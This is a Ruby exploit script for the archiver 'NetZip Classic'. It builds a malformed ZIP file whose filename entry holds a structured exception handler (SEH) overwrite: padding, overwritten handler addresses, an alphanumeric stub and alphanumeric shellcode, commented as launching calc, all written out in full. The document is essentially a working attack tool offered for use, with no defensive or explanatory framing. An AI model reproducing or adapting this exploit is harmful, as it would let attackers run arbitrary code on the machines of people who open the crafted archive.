NetZip-Classic-SEH

def usage()
system("cls")
system("color 4f");
end
if ARGV.length !=1
     usage()
     print "[-]Usage: "+$0+" <File Name>\n"
     print "[-]Exemple: "+$0+" Exploit.zip\n"
     exit
end
usage()
filename = ARGV[0]
head1 = 
"\x50\x4B\x03\x04\x14\x00\x00"+
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\xe4\x0f" +
"\x00\x00\x00";
 
head2 = 
"\x50\x4B\x01\x02\x14\x00\x14"+
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\xe4\x0f"+ 
"\x00\x00\x00\x00\x00\x00\x01\x00"+
"\x24\x00\x00\x00\x00\x00\x00\x00";
 
end1 = 
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"+
"\x12\x10\x00\x00"+
"\x02\x10\x00\x00"+ 
"\x00\x00";
 
buffer = "\x41" * 235
nseh = "\x59\x40\x40\x40"
seh = [0x10057A41].pack('V')#
egg = "\x41" * 5 #4 INC ECX
egg += "\x61" * 6 #6 POPAD
egg += "\x04\x10" #ADD AL,10
egg += "\x98\xd1" #CALL EAX 
egg += "\x41" * 5 #JUNK TO SHELLCODE
puts "              [*]Identifying the length Shellcode\n\n"
sleep(1)
shellcode = 
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYKIPVQXIOO3L5FBPXLN9D"+
"46DJTNQ5N0XVQD84XK3M8KL33RXE8L4MUP02XOLSUO92XOFVCKEL3X4NNSM5RNJGJP2ELOOSRJM5M64X"+ #Shellcode WinExec("calc",0) 
"USVQ9WQKWLVSPJUT1XJDFWEZUB4O7SLKKUKUURKZP179M1XKMWRP8EKI2M8YSZW7KCJ8OPL0O7SHSPSY"+ #ALPHA BASEADDRESS EAX
"41GL7XXWKLCLNK35O0WQCSTPQY1VSXML5O6L5IQCNMHJUNJL1UUOX7VMIWMWK9PXYKN0QE1OFTNVOMUT"+
"YK7OGT8FOPYLP3K8W5UCOM83KYZA"
 
puts "              [*]The length is Shellcode: #{shellcode.length}\n\n"
sleep(1)
 
 
junk = "\x41" * (4064 - (buffer+nseh+seh+egg+shellcode).length)
 
payload = buffer+nseh+seh+egg+shellcode+junk
 
payload += ".txt"
 
exploit_zip = head1+payload+head2+payload+end1
puts "              [*]Creating the File #{filename}\n\n"
sleep(1)
begin
 
f = File.open(filename,"w")
f.puts exploit_zip
f.close
puts "              [*]The File #{filename} was Created with Success\n\n"
sleep(1)
rescue
 
puts "              [*]Error When Creating The File #{filename}\n\n"
exit   
 
end